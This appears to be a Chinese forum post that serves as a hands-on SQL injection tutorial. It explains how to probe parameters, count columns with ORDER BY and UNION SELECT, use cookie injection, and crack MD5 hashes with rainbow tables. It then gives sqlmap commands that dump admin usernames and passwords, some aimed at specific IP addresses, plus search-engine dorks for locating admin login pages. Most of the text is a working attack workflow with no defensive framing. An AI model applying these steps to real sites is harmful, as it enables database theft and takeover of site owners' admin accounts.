一 :Sql Injection #注入攻击原理
一 :Sql Injection #注入攻击原理1、什么是sql 注入
定义: SQL 注入 是指 web 应用对用户输入数据的合法性没有判断,前端输入后端的参数是攻击者可控的,并且参数带入数据进行查询,
攻击者可以通过构造不同的语句对数据库进行操作;
本质:将用户输入的数据当做SQL语句执行,这里有两个关键条件
1.1 参数用户可控;
1.2 参数带入数据库查询;
如何判断注入点?
1. id = 1' 在1后面加入单引号,页面出错
2. id = 1 and 1 = 1 正常 id=1 and 1=2 错误【判断 and 是否被当做搜索语句执行了】
3. id = 1 and 1'=1 正常id = 1 and '1'=1 错误
备注:通过构造错误的语句根据返回结果判断是否存在注入点
2、注入的基本姿势
2.1. 判断字段数
2.1.1 利用order by
利用原理: 原功能是排序 ;
原语法是:order by 字段名
省略语法【被利用】: order by 2 这个2 表示 按照第2个字段进行排序
如果 没有 第三个字段 ,那么 order by 3 就是错的【页面报错】
2.1.2 利用 union select 1,2,3---- form "要查询的表名" ; 利用这个搜素语句联合查询
原语法: 在查询的时候,如果有两条查询语句,后面的字段数只要和前面的一样就可以了【前后一致】
利用原理: union,也就是说只要我先查出前边表表字段数 就可以进行相关的操作链表,需要猜测表名
透析原理: 我在查询新闻表的时候,查询一个字段内容,谁的内容? admin 表的内容 ;
2.2. 判断回显点
连表查询后: 看一下 页面上都显示了哪些; 然后 把 显示的东西 替换 我们猜测的 字段名 ;
比如说:union select 1,2,3,4 form admin 然后页面 显示了 3那我把3 换成我猜测的 username 就得到了用户名
2.3. 判断查询的相关内容
2.3.1 工具,爆破 得到字段名与 表名【】
2.3.2 通过数据的版本不同,可以得到利用信息 【其实就是用informaition 那个myadmin 自带的统计数据库】
2.3.3 偏移注入 抛出想要的值 ;
cookie 注入 :【在 url 被防止时 就这么干】
在GET、POST被拦截的情况下,可以尝试使用 cookie 进行传参 在这里的实验 跟 url 里的一样 ;
【需要 去 获取 】
3.Md5 相关解决方法
利用解码网站【撞库攻击 得到密码】 彩虹表
SQLmap 简单的使用记录
/*
【windows 下的操作方法】
运行环境,需要先装 phtyon 2【可以在桌面搞个快捷图标】
所有操作记录,以及查询到的结果,都被记录在
C:\Users\Administrator\AppData\Local\sqlmap\output
爆破地址: http://www.xxx.com/en/CompHonorBig.asp?id=7
1. 猜测是否能 注入
python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"
python sqlmap.py -u "地址"
2. 展示所有的表
python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables
3. 如何展示某一张表中的所有字段
python sqlmap.py -u "http://117.41.229.122:8003/?id=1" -D maoshe -T news --columns
python sqlmap.py -u "http://117.41.229.122:8003/?id=1" -D 数据库名称 -T 表名 --columns
4. 根据得到的字段值 获取的字段内容
python sqlmap.py -u "http://117.41.229.122:8003/?id=1" -D maoshe -T admin -C "id,username,password" --dump
python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D 数据库名称 -T 表名 -C "字段名,以逗号隔开 注意大小写" --dump
参考地址1: https://blog.csdn.net/zgyulongfei/article/details/41017493
参考地址2: https://www.cnblogs.com/ichunqiu/p/5805108.html
5. 拿到密码后 找后台登录页面
方法1:在搜索引擎中输入 【前提条件是该网站被搜索引擎收录了】
site: 域名 intitle:登录 【或者管理员登录】
site: www.jianshu.com intitle:管理员登录
site:blog.csdn.net intext:.php 【查找所有.php 尾缀的地址】
方法2:多套CMS的后台管理地址是一致的
方法3:查看网站的图片属性 【我个人觉得没啥卵用,谁还不整个代理啊】
小知识:搜索引擎 命令总结:
https://blog.csdn.net/weixin_42127015/article/details/84472777
页:
[1]